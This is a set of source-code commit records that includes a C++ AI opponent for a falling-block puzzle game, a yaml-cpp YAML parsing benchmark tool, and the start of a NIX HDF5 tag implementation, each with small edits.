(Grid::GRID_HEIGHT - grid->getColumnHeight(i)) - 1;\r\n\t}\r\n\r\n\t\/\/ Work out which columns have heights equal to or greater than the current\r\n\t\/\/ live block Y co-ordinates and constrain the search to within the\r\n\t\/\/ boundaries that they create\r\n\ts32 leftBoundary = 0;\r\n\ts32 rightBoundary = Grid::GRID_WIDTH - 1;\r\n\ts32 lowestYCoord = liveBlock1.y > liveBlock2.y ? liveBlock1.y : liveBlock2.y;\r\n\ts32 leftBlockXCoord = liveBlock1.x < liveBlock2.x ? liveBlock1.x : liveBlock2.x;\r\n\ts32 rightBlockXCoord = liveBlock1.x > liveBlock2.x ? liveBlock1.x : liveBlock2.x;\r\n\r\n\tfor (s32 i = leftBlockXCoord; i >= 0; --i) {\r\n\t\tif (columnYCoords[i] <= lowestYCoord) {\r\n\t\t\tleftBoundary = i;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\r\n\tfor (s32 i = rightBlockXCoord; i < Grid::GRID_WIDTH; ++i) {\r\n\t\tif (columnYCoords[i] <= lowestYCoord) {\r\n\t\t\trightBoundary = i;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\r\n\tBlockBase* block1 = grid->getBlockAt(liveBlock1.x, liveBlock1.y);\r\n\tBlockBase* block2 = grid->getBlockAt(liveBlock2.x, liveBlock2.y);\r\n\r\n\ts32 bestScore = 0;\r\n\r\n\tPoint point1;\r\n\tPoint point2;\r\n\r\n\tfor (s32 x = leftBoundary + 1; x < rightBoundary; ++x) {\r\n\t\tfor (s32 rotation = 0; rotation < 4; ++rotation) {\r\n\r\n\t\t\t\/\/ Work out where the shapes will be if they move, rotation occurs\r\n\t\t\t\/\/ and they land\r\n\t\t\tswitch (rotation) {\r\n\t\t\t\tcase 0:\r\n\t\t\t\t\tpoint1.x = x;\r\n\t\t\t\t\tpoint1.y = columnYCoords[x];\r\n\r\n\t\t\t\t\tpoint2.x = x + 1;\r\n\t\t\t\t\tpoint2.y = columnYCoords[x + 1];\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\t\tcase 1:\r\n\t\t\t\t\tpoint1.x = x + 1;\r\n\t\t\t\t\tpoint1.y = columnYCoords[x + 1] - 1;\r\n\r\n\t\t\t\t\tpoint2.x = x + 1;\r\n\t\t\t\t\tpoint2.y = columnYCoords[x + 1];\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\t\tcase 2:\r\n\t\t\t\t\tpoint1.x = x + 1;\r\n\t\t\t\t\tpoint1.y = columnYCoords[x + 1];\r\n\r\n\t\t\t\t\tpoint2.x = x;\r\n\t\t\t\t\tpoint2.y = columnYCoords[x];\r\n\t\t\t\t\tbreak;\r\n\r\n\t\t\t\tcase 3:\r\n\t\t\t\t\tpoint1.x = x + 1;\r\n\t\t\t\t\tpoint1.y = columnYCoords[x + 1];\r\n\r\n\t\t\t\t\tpoint2.x = x + 1;\r\n\t\t\t\t\tpoint2.y = columnYCoords[x + 1] - 1;\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\r\n\t\t\t\/\/ Check if the new co-ords are valid\r\n\t\t\tif (point1.x < 0 || point1.x >= Grid::GRID_WIDTH) break;\r\n\t\t\tif (point1.y < 0 || point1.y >= Grid::GRID_HEIGHT) break;\r\n\t\t\tif (point2.x < 0 || point2.x >= Grid::GRID_WIDTH) break;\r\n\t\t\tif (point2.y < 0 || point2.y >= Grid::GRID_HEIGHT) break;\r\n\r\n\t\t\ts32 score = scoreShapePosition(block1, block2, point1, point2);\r\n\r\n\t\t\t\/\/ Bonus for not increasing the height of the target column\r\n\t\t\ts32 heightBonus = 1 + ((point1.y + point2.y) \/ 2);\r\n\r\n\t\t\tscore *= heightBonus;\r\n\r\n\t\t\t\/\/ Check if the score for this position and rotation beats the\r\n\t\t\t\/\/ current best\r\n\t\t\tif (score > bestScore) {\r\n\t\t\t\tbestScore = score;\r\n\t\t\t\t_targetX = x;\r\n\t\t\t\t_targetRotations = rotation;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\t\/\/ We can rotate to the correct orientation faster by rotating anticlockwise\r\n\t\/\/ if necessary\r\n\tif (_targetRotations == 3) _targetRotations = -1;\r\n\r\n\tdelete columnYCoords;\r\n}\r\n\r\ns32 AIController::scoreShapePosition(BlockBase* block1, BlockBase* block2, const Point& point1, const Point& point2) {\r\n\r\n\tconst Grid* grid = _gridRunner->getGrid();\r\n\r\n\ts32 gridSize = Grid::GRID_WIDTH * Grid::GRID_HEIGHT;\r\n\r\n\tbool* checkedData = new bool[gridSize];\r\n\r\n\tfor (s32 i = 0; i < gridSize; ++i) {\r\n\t\tcheckedData[i] = false;\r\n\t}\r\n\r\n\t\/\/ Unfortunately, we can't get the score for each possible block position,\r\n\t\/\/ then add together pairs and see what the total score would be for each\r\n\t\/\/ possible rotation (this would have the number of times we walk the grid\r\n\t\/\/ graph).  If blocks are the same colour, and we do not examine the same\r\n\t\/\/ checkedData array whilst checking for chain lengths, we may end up\r\n\t\/\/ walking over the same blocks twice.  They will therefore be included in\r\n\t\/\/ the score multiple times (once for each block and once when the scores\r\n\t\/\/ are added together).  This would lead to positions where both blocks\r\n\t\/\/ touched same colour blocks being massively overweighted and possibly\r\n\t\/\/ supplant better positions.\r\n\ts32 score1 = grid->getPotentialChainLength(point1.x, point1.y, block1, checkedData);\r\n\ts32 score2 = grid->getPotentialChainLength(point2.x, point2.y, block2, checkedData);\r\n\r\n\tdelete[] checkedData;\r\n\r\n\ts32 baseScore = score1 + score2;\r\n\ts32 extraScore = 0;\r\n\r\n\tif ((point1.x == point2.x || point1.y == point2.y) && (block1->getColour() == block2->getColour())) {\r\n\t\textraScore = score1 + score2 - Grid::CHAIN_LENGTH;\r\n\t} else {\r\n\t\textraScore = score1 > Grid::CHAIN_LENGTH ? 1 + score1 - Grid::CHAIN_LENGTH : 1;\r\n\t\textraScore += score2 > Grid::CHAIN_LENGTH ? 1 + score2 - Grid::CHAIN_LENGTH : 1;\r\n\t}\r\n\r\n\treturn baseScore * extraScore;\r\n}\r\n\r\nbool AIController::canMove() {\r\n\r\n\tconst Grid* grid = _gridRunner->getGrid();\r\n\r\n\tPoint liveBlock1;\r\n\tPoint liveBlock2;\r\n\r\n\tgrid->getLiveBlockPoints(liveBlock1, liveBlock2);\r\n\r\n\t\/\/ Get the y co-ords of the topmost blank block in each column\r\n\ts32* columnYCoords = new s32[Grid::GRID_WIDTH];\r\n\r\n\tfor (s32 i = 0; i < Grid::GRID_WIDTH; ++i) {\r\n\t\tcolumnYCoords[i] = (Grid::GRID_HEIGHT - grid->getColumnHeight(i)) - 1;\r\n\t}\r\n\r\n\tbool movePossible = true;\r\n\r\n\tif (_targetX < liveBlock1.x) {\r\n\r\n\t\t\/\/ Need to move left\r\n\t\tfor (s32 x = liveBlock1.x; x >= _targetX; --x) {\r\n\r\n\t\t\t\/\/ If either block is lower than the column we're looking at, it is\r\n\t\t\t\/\/ impossible for the block to be moved to the target column\r\n\t\t\tif (columnYCoords[x] < liveBlock1.y || columnYCoords[x] < liveBlock2.y) {\r\n\t\t\t\tmovePossible = false;\r\n\t\t\t}\r\n\t\t}\r\n\t} else if (_targetX > liveBlock1.x) {\r\n\r\n\t\t\/\/ Need to move right\r\n\t\tfor (s32 x = liveBlock1.x; x <= _targetX; ++x) {\r\n\t\t\tif (columnYCoords[x] < liveBlock1.y || columnYCoords[x] < liveBlock2.y) {\r\n\t\t\t\tmovePossible = false;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\treturn movePossible;\r\n}\r\n\r\nbool AIController::left() {\r\n\tanalyseGrid();\r\n\r\n\tif (_targetRotations != 0) return false;\r\n\r\n\tconst Grid* grid = _gridRunner->getGrid();\r\n\r\n\tPoint liveBlock1;\r\n\tPoint liveBlock2;\r\n\r\n\tgrid->getLiveBlockPoints(liveBlock1, liveBlock2);\r\n\t\r\n\tbool result = liveBlock1.x > _targetX;\r\n\r\n\treturn _hesitation == 0 ? result : result && (rand() % _hesitation == 0);\r\n}\r\n\r\nbool AIController::right() {\r\n\tanalyseGrid();\r\n\r\n\tif (_targetRotations != 0) return false;\r\n\r\n\tconst Grid* grid = _gridRunner->getGrid();\r\n\r\n\tPoint liveBlock1;\r\n\tPoint liveBlock2;\r\n\r\n\tgrid->getLiveBlockPoints(liveBlock1, liveBlock2);\r\n\t\r\n\tbool result = liveBlock1.x < _targetX;\r\n\r\n\treturn _hesitation == 0 ? result : result && (rand() % _hesitation == 0);\r\n}\r\n\r\nbool AIController::down() {\r\n\tanalyseGrid();\r\n\r\n\tif (_targetRotations != 0) return false;\r\n\r\n\tconst Grid* grid = _gridRunner->getGrid();\r\n\r\n\tPoint liveBlock1;\r\n\tPoint liveBlock2;\r\n\r\n\tgrid->getLiveBlockPoints(liveBlock1, liveBlock2);\r\n\t\r\n\tbool result = liveBlock1.x == _targetX;\r\n\r\n\treturn _hesitation == 0 ? result : result && (rand() % _hesitation == 0);\r\n}\r\n\r\nbool AIController::rotateClockwise() {\r\n\tanalyseGrid();\r\n\r\n\tif (_targetRotations > 0) {\r\n\t\t--_targetRotations;\r\n\r\n\t\treturn _hesitation == 0 ? true : rand() % _hesitation == 0;\r\n\t}\r\n\r\n\treturn false;\r\n}\r\n\r\nbool AIController::rotateAntiClockwise() {\r\n\tanalyseGrid();\r\n\r\n\tif (_targetRotations < 0) {\r\n\t\t++_targetRotations;\r\n\r\n\t\treturn _hesitation == 0 ? true : rand() % _hesitation == 0;\r\n\t}\r\n\r\n\treturn false;\r\n}\r\n<commit_msg>Comment fix.<commit_after>#include \"aicontroller.h\"\r\n\r\n#include \"hardware.h\"\r\n#include \"gamefont.h\"\r\n#include \"woopsistring.h\"\r\n\r\n\/\/ TODO: Doesn't check if it can rotate\/move to the desired co-ordinate from\r\n\/\/ the current position.  This should probably be re-examined every time the AI\r\n\/\/ has the chance to move.\r\n\r\nAIController::AIController(s32 hesitation) {\r\n\t_gridRunner = NULL;\r\n\t_lastLiveBlockY = Grid::GRID_HEIGHT;\r\n\t_targetX = 0;\r\n\t_targetRotations = 0;\r\n\t_hesitation = hesitation;\r\n}\r\n\r\nvoid AIController::setGridRunner(const GridRunner* gridRunner) {\r\n\t_gridRunner = gridRunner;\r\n}\r\n\r\nvoid AIController::analyseGrid() {\r\n\r\n\tconst Grid* grid = _gridRunner->getGrid();\r\n\r\n\tPoint liveBlock1;\r\n\tPoint liveBlock2;\r\n\r\n\tgrid->getLiveBlockPoints(liveBlock1, liveBlock2);\r\n\r\n\t\/\/ If last observed y is greater than current live block y, we'll need\r\n\t\/\/ to choose a new move\r\n\tif (_lastLiveBlockY <= liveBlock1.y) {\r\n\t\t_lastLiveBlockY = liveBlock1.y < liveBlock2.y ? liveBlock1.y : liveBlock2.y;\r\n\t\treturn;\r\n\t}\r\n\t\r\n\t_lastLiveBlockY = liveBlock1.y < liveBlock2.y ? liveBlock1.y : liveBlock2.y;\r\n\r\n\t\/\/ Get the y co-ords of the topmost blank block in each column\r\n\ts32* columnYCoords = new s32[Grid::GRID_WIDTH];\r\n\r\n\tfor (s32 i = 0; i < Grid::GRID_WIDTH; ++i) {\r\n\t\tcolumnYCoords[i] = (Grid::GRID_HEIGHT - grid->getColumnHeight(i)) - 1;\r\n\t}\r\n\r\n\t\/\/ Work out which columns have heights equal to or greater than the current\r\n\t\/\/ live block Y co-ordinates and constrain the search to within the\r\n\t\/\/ boundaries that they create\r\n\ts32 leftBoundary = 0;\r\n\ts32 rightBoundary = Grid::GRID_WIDTH - 1;\r\n\ts32 lowestYCoord = liveBlock1.y > liveBlock2.y ? liveBlock1.y : liveBlock2.y;\r\n\ts32 leftBlockXCoord = liveBlock1.x < liveBlock2.x ? liveBlock1.x : liveBlock2.x;\r\n\ts32 rightBlockXCoord = liveBlock1.x > liveBlock2.x ? liveBlock1.x : liveBlock2.x;\r\n\r\n\tfor (s32 i = leftBlockXCoord; i >= 0; --i) {\r\n\t\tif (columnYCoords[i] <= lowestYCoord) {\r\n\t\t\tleftBoundary = i;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\r\n\tfor (s32 i = rightBlockXCoord; i < Grid::GRID_WIDTH; ++i) {\r\n\t\tif (columnYCoords[i] <= lowestYCoord) {\r\n\t\t\trightBoundary = i;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\r\n\tBlockBase* block1 = grid->getBlockAt(liveBlock1.x, liveBlock1.y);\r\n\tBlockBase* block2 = grid->getBlockAt(liveBlock2.x, liveBlock2.y);\r\n\r\n\ts32 bestScore = 0;\r\n\r\n\tPoint point1;\r\n\tPoint point2;\r\n\r\n\tfor (s32 x = leftBoundary + 1; x < rightBoundary; ++x) {\r\n\t\tfor (s32 rotation = 0; rotation < 4; ++rotation) {\r\n\r\n\t\t\t\/\/ Work out where the shapes will be if they move, rotation occurs\r\n\t\t\t\/\/ and they land\r\n\t\t\tswitch (rotation) {\r\n\t\t\t\tcase 0:\r\n\t\t\t\t\tpoint1.x = x;\r\n\t\t\t\t\tpoint1.y = columnYCoords[x];\r\n\r\n\t\t\t\t\tpoint2.x = x + 1;\r\n\t\t\t\t\tpoint2.y = columnYCoords[x + 1];\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\t\tcase 1:\r\n\t\t\t\t\tpoint1.x = x + 1;\r\n\t\t\t\t\tpoint1.y = columnYCoords[x + 1] - 1;\r\n\r\n\t\t\t\t\tpoint2.x = x + 1;\r\n\t\t\t\t\tpoint2.y = columnYCoords[x + 1];\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\t\tcase 2:\r\n\t\t\t\t\tpoint1.x = x + 1;\r\n\t\t\t\t\tpoint1.y = columnYCoords[x + 1];\r\n\r\n\t\t\t\t\tpoint2.x = x;\r\n\t\t\t\t\tpoint2.y = columnYCoords[x];\r\n\t\t\t\t\tbreak;\r\n\r\n\t\t\t\tcase 3:\r\n\t\t\t\t\tpoint1.x = x + 1;\r\n\t\t\t\t\tpoint1.y = columnYCoords[x + 1];\r\n\r\n\t\t\t\t\tpoint2.x = x + 1;\r\n\t\t\t\t\tpoint2.y = columnYCoords[x + 1] - 1;\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\r\n\t\t\t\/\/ Check if the new co-ords are valid\r\n\t\t\tif (point1.x < 0 || point1.x >= Grid::GRID_WIDTH) break;\r\n\t\t\tif (point1.y < 0 || point1.y >= Grid::GRID_HEIGHT) break;\r\n\t\t\tif (point2.x < 0 || point2.x >= Grid::GRID_WIDTH) break;\r\n\t\t\tif (point2.y < 0 || point2.y >= Grid::GRID_HEIGHT) break;\r\n\r\n\t\t\ts32 score = scoreShapePosition(block1, block2, point1, point2);\r\n\r\n\t\t\t\/\/ Bonus for not increasing the height of the target column\r\n\t\t\ts32 heightBonus = 1 + ((point1.y + point2.y) \/ 2);\r\n\r\n\t\t\tscore *= heightBonus;\r\n\r\n\t\t\t\/\/ Check if the score for this position and rotation beats the\r\n\t\t\t\/\/ current best\r\n\t\t\tif (score > bestScore) {\r\n\t\t\t\tbestScore = score;\r\n\t\t\t\t_targetX = x;\r\n\t\t\t\t_targetRotations = rotation;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\t\/\/ We can rotate to the correct orientation faster by rotating anticlockwise\r\n\t\/\/ if necessary\r\n\tif (_targetRotations == 3) _targetRotations = -1;\r\n\r\n\tdelete columnYCoords;\r\n}\r\n\r\ns32 AIController::scoreShapePosition(BlockBase* block1, BlockBase* block2, const Point& point1, const Point& point2) {\r\n\r\n\tconst Grid* grid = _gridRunner->getGrid();\r\n\r\n\ts32 gridSize = Grid::GRID_WIDTH * Grid::GRID_HEIGHT;\r\n\r\n\tbool* checkedData = new bool[gridSize];\r\n\r\n\tfor (s32 i = 0; i < gridSize; ++i) {\r\n\t\tcheckedData[i] = false;\r\n\t}\r\n\r\n\t\/\/ Unfortunately, we can't get the score for each possible single block\r\n\t\/\/ position, then add together pairs and see what the total score would be\r\n\t\/\/ for each possible rotation (this would have the number of times we walk\r\n\t\/\/ the grid graph).  If blocks are the same colour, and we do not examine\r\n\t\/\/ the same checkedData array whilst checking for chain lengths, we may end\r\n\t\/\/ up walking over the same blocks twice.  They will therefore be included\r\n\t\/\/ in the score multiple times (once for each block and once when the scores\r\n\t\/\/ are added together).  This would lead to positions where both blocks\r\n\t\/\/ touched same colour blocks being massively overweighted and possibly\r\n\t\/\/ supplant better positions.\r\n\ts32 score1 = grid->getPotentialChainLength(point1.x, point1.y, block1, checkedData);\r\n\ts32 score2 = grid->getPotentialChainLength(point2.x, point2.y, block2, checkedData);\r\n\r\n\tdelete[] checkedData;\r\n\r\n\ts32 baseScore = score1 + score2;\r\n\ts32 extraScore = 0;\r\n\r\n\tif ((point1.x == point2.x || point1.y == point2.y) && (block1->getColour() == block2->getColour())) {\r\n\t\textraScore = score1 + score2 - Grid::CHAIN_LENGTH;\r\n\t} else {\r\n\t\textraScore = score1 > Grid::CHAIN_LENGTH ? 1 + score1 - Grid::CHAIN_LENGTH : 1;\r\n\t\textraScore += score2 > Grid::CHAIN_LENGTH ? 1 + score2 - Grid::CHAIN_LENGTH : 1;\r\n\t}\r\n\r\n\treturn baseScore * extraScore;\r\n}\r\n\r\nbool AIController::canMove() {\r\n\r\n\tconst Grid* grid = _gridRunner->getGrid();\r\n\r\n\tPoint liveBlock1;\r\n\tPoint liveBlock2;\r\n\r\n\tgrid->getLiveBlockPoints(liveBlock1, liveBlock2);\r\n\r\n\t\/\/ Get the y co-ords of the topmost blank block in each column\r\n\ts32* columnYCoords = new s32[Grid::GRID_WIDTH];\r\n\r\n\tfor (s32 i = 0; i < Grid::GRID_WIDTH; ++i) {\r\n\t\tcolumnYCoords[i] = (Grid::GRID_HEIGHT - grid->getColumnHeight(i)) - 1;\r\n\t}\r\n\r\n\tbool movePossible = true;\r\n\r\n\tif (_targetX < liveBlock1.x) {\r\n\r\n\t\t\/\/ Need to move left\r\n\t\tfor (s32 x = liveBlock1.x; x >= _targetX; --x) {\r\n\r\n\t\t\t\/\/ If either block is lower than the column we're looking at, it is\r\n\t\t\t\/\/ impossible for the block to be moved to the target column\r\n\t\t\tif (columnYCoords[x] < liveBlock1.y || columnYCoords[x] < liveBlock2.y) {\r\n\t\t\t\tmovePossible = false;\r\n\t\t\t}\r\n\t\t}\r\n\t} else if (_targetX > liveBlock1.x) {\r\n\r\n\t\t\/\/ Need to move right\r\n\t\tfor (s32 x = liveBlock1.x; x <= _targetX; ++x) {\r\n\t\t\tif (columnYCoords[x] < liveBlock1.y || columnYCoords[x] < liveBlock2.y) {\r\n\t\t\t\tmovePossible = false;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\treturn movePossible;\r\n}\r\n\r\nbool AIController::left() {\r\n\tanalyseGrid();\r\n\r\n\tif (_targetRotations != 0) return false;\r\n\r\n\tconst Grid* grid = _gridRunner->getGrid();\r\n\r\n\tPoint liveBlock1;\r\n\tPoint liveBlock2;\r\n\r\n\tgrid->getLiveBlockPoints(liveBlock1, liveBlock2);\r\n\t\r\n\tbool result = liveBlock1.x > _targetX;\r\n\r\n\treturn _hesitation == 0 ? result : result && (rand() % _hesitation == 0);\r\n}\r\n\r\nbool AIController::right() {\r\n\tanalyseGrid();\r\n\r\n\tif (_targetRotations != 0) return false;\r\n\r\n\tconst Grid* grid = _gridRunner->getGrid();\r\n\r\n\tPoint liveBlock1;\r\n\tPoint liveBlock2;\r\n\r\n\tgrid->getLiveBlockPoints(liveBlock1, liveBlock2);\r\n\t\r\n\tbool result = liveBlock1.x < _targetX;\r\n\r\n\treturn _hesitation == 0 ? result : result && (rand() % _hesitation == 0);\r\n}\r\n\r\nbool AIController::down() {\r\n\tanalyseGrid();\r\n\r\n\tif (_targetRotations != 0) return false;\r\n\r\n\tconst Grid* grid = _gridRunner->getGrid();\r\n\r\n\tPoint liveBlock1;\r\n\tPoint liveBlock2;\r\n\r\n\tgrid->getLiveBlockPoints(liveBlock1, liveBlock2);\r\n\t\r\n\tbool result = liveBlock1.x == _targetX;\r\n\r\n\treturn _hesitation == 0 ? result : result && (rand() % _hesitation == 0);\r\n}\r\n\r\nbool AIController::rotateClockwise() {\r\n\tanalyseGrid();\r\n\r\n\tif (_targetRotations > 0) {\r\n\t\t--_targetRotations;\r\n\r\n\t\treturn _hesitation == 0 ? true : rand() % _hesitation == 0;\r\n\t}\r\n\r\n\treturn false;\r\n}\r\n\r\nbool AIController::rotateAntiClockwise() {\r\n\tanalyseGrid();\r\n\r\n\tif (_targetRotations < 0) {\r\n\t\t++_targetRotations;\r\n\r\n\t\treturn _hesitation == 0 ? true : rand() % _hesitation == 0;\r\n\t}\r\n\r\n\treturn false;\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n\n#include \"yaml-cpp\/yaml.h\"  \/\/ IWYU pragma: keep\n\nclass NullEventHandler : public YAML::EventHandler {\n public:\n  typedef YAML::Mark Mark;\n  typedef YAML::anchor_t anchor_t;\n\n  NullEventHandler() {}\n\n  virtual void OnDocumentStart(const Mark&) {}\n  virtual void OnDocumentEnd() {}\n  virtual void OnNull(const Mark&, anchor_t) {}\n  virtual void OnAlias(const Mark&, anchor_t) {}\n  virtual void OnScalar(const Mark&, const std::string&, anchor_t,\n                        const std::string&) {}\n  virtual void OnSequenceStart(const Mark&, const std::string&, anchor_t) {}\n  virtual void OnSequenceEnd() {}\n  virtual void OnMapStart(const Mark&, const std::string&, anchor_t) {}\n  virtual void OnMapEnd() {}\n};\n\nint main() {\n  YAML::Parser parser(std::cin);\n  NullEventHandler handler;\n  parser.HandleNextDocument(handler);\n  return 0;\n}\n<commit_msg>Add missing include to read.cpp<commit_after>#include <iostream>\n\n#include \"yaml-cpp\/eventhandler.h\"\n#include \"yaml-cpp\/yaml.h\"  \/\/ IWYU pragma: keep\n\nclass NullEventHandler : public YAML::EventHandler {\n public:\n  typedef YAML::Mark Mark;\n  typedef YAML::anchor_t anchor_t;\n\n  NullEventHandler() {}\n\n  virtual void OnDocumentStart(const Mark&) {}\n  virtual void OnDocumentEnd() {}\n  virtual void OnNull(const Mark&, anchor_t) {}\n  virtual void OnAlias(const Mark&, anchor_t) {}\n  virtual void OnScalar(const Mark&, const std::string&, anchor_t,\n                        const std::string&) {}\n  virtual void OnSequenceStart(const Mark&, const std::string&, anchor_t) {}\n  virtual void OnSequenceEnd() {}\n  virtual void OnMapStart(const Mark&, const std::string&, anchor_t) {}\n  virtual void OnMapEnd() {}\n};\n\nint main() {\n  YAML::Parser parser(std::cin);\n  NullEventHandler handler;\n  parser.HandleNextDocument(handler);\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <fstream>\n#include <iostream>\n\n#include \"yaml-cpp\/emitterstyle.h\"\n#include \"yaml-cpp\/eventhandler.h\"\n#include \"yaml-cpp\/yaml.h\"  \/\/ IWYU pragma: keep\n\nclass NullEventHandler : public YAML::EventHandler {\n public:\n  typedef YAML::Mark Mark;\n  typedef YAML::anchor_t anchor_t;\n\n  NullEventHandler() {}\n\n  virtual void OnDocumentStart(const Mark&) {}\n  virtual void OnDocumentEnd() {}\n  virtual void OnNull(const Mark&, anchor_t) {}\n  virtual void OnAlias(const Mark&, anchor_t) {}\n  virtual void OnScalar(const Mark&, const std::string&, anchor_t,\n                        const std::string&) {}\n  virtual void OnSequenceStart(const Mark&, const std::string&, anchor_t,\n                               YAML::EmitterStyle::value style) {}\n  virtual void OnSequenceEnd() {}\n  virtual void OnMapStart(const Mark&, const std::string&, anchor_t,\n                          YAML::EmitterStyle::value style) {}\n  virtual void OnMapEnd() {}\n};\n\nvoid run(YAML::Parser& parser) {\n  NullEventHandler handler;\n  parser.HandleNextDocument(handler);\n}\n\nint main(int argc, char** argv) {\n  if (argc > 1) {\n    std::ifstream in(argv[1]);\n    YAML::Parser parser(in);\n    run(parser);\n  } else {\n    YAML::Parser parser(std::cin);\n    run(parser);\n  }\n  return 0;\n}\n<commit_msg>Add features to read binary:<commit_after>#include <fstream>\n#include <iostream>\n\n#include \"yaml-cpp\/emitterstyle.h\"\n#include \"yaml-cpp\/eventhandler.h\"\n#include \"yaml-cpp\/yaml.h\"  \/\/ IWYU pragma: keep\n\nclass NullEventHandler : public YAML::EventHandler {\n public:\n  typedef YAML::Mark Mark;\n  typedef YAML::anchor_t anchor_t;\n\n  NullEventHandler() {}\n\n  virtual void OnDocumentStart(const Mark&) {}\n  virtual void OnDocumentEnd() {}\n  virtual void OnNull(const Mark&, anchor_t) {}\n  virtual void OnAlias(const Mark&, anchor_t) {}\n  virtual void OnScalar(const Mark&, const std::string&, anchor_t,\n                        const std::string&) {}\n  virtual void OnSequenceStart(const Mark&, const std::string&, anchor_t,\n                               YAML::EmitterStyle::value style) {}\n  virtual void OnSequenceEnd() {}\n  virtual void OnMapStart(const Mark&, const std::string&, anchor_t,\n                          YAML::EmitterStyle::value style) {}\n  virtual void OnMapEnd() {}\n};\n\nvoid run(std::istream& in) {\n  YAML::Parser parser(in);\n  NullEventHandler handler;\n  parser.HandleNextDocument(handler);\n}\n\nvoid usage() { std::cerr << \"Usage: read [-n N] [-c, --cache] [filename]\\n\"; }\n\nstd::string read_stream(std::istream& in) {\n  return std::string((std::istreambuf_iterator<char>(in)),\n                     std::istreambuf_iterator<char>());\n}\n\nint main(int argc, char** argv) {\n  int N = 1;\n  bool cache = false;\n  std::string filename;\n  for (int i = 1; i < argc; i++) {\n    std::string arg = argv[i];\n    if (arg == \"-n\") {\n      i++;\n      if (i >= argc) {\n        usage();\n        return -1;\n      }\n      N = std::atoi(argv[i]);\n      if (N <= 0) {\n        usage();\n        return -1;\n      }\n    } else if (arg == \"-c\" || arg == \"--cache\") {\n      cache = true;\n    } else {\n      filename = argv[i];\n      if (i + 1 != argc) {\n        usage();\n        return -1;\n      }\n    }\n  }\n\n  if (N > 1 && !cache && filename == \"\") {\n    usage();\n    return -1;\n  }\n\n  if (cache) {\n    std::string input;\n    if (filename != \"\") {\n      std::ifstream in(filename);\n      input = read_stream(in);\n    } else {\n      input = read_stream(std::cin);\n    }\n    std::istringstream in(input);\n    for (int i = 0; i < N; i++) {\n      in.seekg(std::ios_base::beg);\n      run(in);\n    }\n  } else {\n    if (filename != \"\") {\n      std::ifstream in(filename);\n      for (int i = 0; i < N; i++) {\n        in.seekg(std::ios_base::beg);\n        run(in);\n      }\n    } else {\n      for (int i = 0; i < N; i++) {\n        run(std::cin);\n      }\n    }\n  }\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2013, German Neuroinformatics Node (G-Node)\n\/\/\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted under the terms of the BSD License. See\n\/\/ LICENSE file in the root of the Project.\n\n\n#include <nix\/util\/util.hpp>\n#include <nix\/hdf5\/SimpleTagHDF5.hpp>\n#include <nix\/hdf5\/RepresentationHDF5.hpp>\n#include <nix\/hdf5\/DataSet.hpp>\n#include <nix\/Exception.hpp>\n\nusing namespace std;\n\nnamespace nix {\nnamespace hdf5 {\n\nSimpleTagHDF5::SimpleTagHDF5(const SimpleTagHDF5 &tag)\n    : EntityWithSourcesHDF5(tag.file(), tag.block(), tag.group(), tag.id()),\n      references_list(tag.group(), \"references\")\n{\n    representation_group = tag.representation_group;\n}\n\n\nSimpleTagHDF5::SimpleTagHDF5(const File &file, const Block &block, const Group &group,\n                             const string &id)\n    : EntityWithSourcesHDF5(file, block, group, id), references_list(group, \"references\")\n{\n    representation_group = group.openGroup(\"representations\");\n}\n\n\nSimpleTagHDF5::SimpleTagHDF5(const File &file, const Block &block, const Group &group,\n                             const string &id, time_t time)\n    : EntityWithSourcesHDF5(file, block, group, id, time), references_list(group, \"references\")\n{\n    representation_group = group.openGroup(\"representations\");\n}\n\n\nvector<string> SimpleTagHDF5::units() const {\n    vector<string> units;\n    group().getData(\"units\", units);\n    return units;\n}\n\n\nvoid SimpleTagHDF5::units(vector<string> &units) {\n    group().setData(\"units\", units);\n}\n\n\nvoid SimpleTagHDF5::units(const none_t t) {\n    if(group().hasData(\"units\")) {\n        group().removeData(\"units\");\n    }\n    forceUpdatedAt();\n}\n\n\nvector<double> SimpleTagHDF5::position() const {\n    vector<double> position;\n    group().getData(\"position\", position);\n    return position;\n}\n\n\nvoid SimpleTagHDF5::position(const vector<double> &position) {\n    group().setData(\"position\", position);\n}\n\n\nvector<double> SimpleTagHDF5::extent() const {\n    vector<double> extent;\n    group().getData(\"extent\", extent);\n    return extent;\n}\n\n\nvoid SimpleTagHDF5::extent(const vector<double> &extent) {\n    group().setData(\"extent\", extent);\n}\n\n\nvoid SimpleTagHDF5::extent(const none_t t) {\n    if(group().hasData(\"extent\")) {\n        group().removeData(\"extent\");\n    }\n    forceUpdatedAt();\n}\n\n\n\/\/ Methods concerning references.\n\n\nbool SimpleTagHDF5::hasReference(const std::string &id) const {\n    return references_list.has(id);\n}\n\n\nsize_t SimpleTagHDF5::referenceCount() const {\n    return references_list.count();\n}\n\n\nDataArray SimpleTagHDF5::getReference(const std::string &id) const {\n    if (hasReference(id)) {\n        return block().getDataArray(id);\n    } else {\n        throw runtime_error(\"No reference with id: \" + id);\n    }\n}\n\n\nDataArray SimpleTagHDF5::getReference(size_t index) const {\n    std::vector<std::string> refs = references_list.get();\n    std::string id;\n    \n    \/\/ get reference id\n    if(index < refs.size()) {\n        id = refs[index];\n    } else {\n        throw OutOfBounds(\"No data array at given index\", index);\n    }\n    \/\/ get referenced array\n    if(block().hasDataArray(id)) {\n        return block().getDataArray(id);\n    } else {\n        throw runtime_error(\"No data array id: \" + 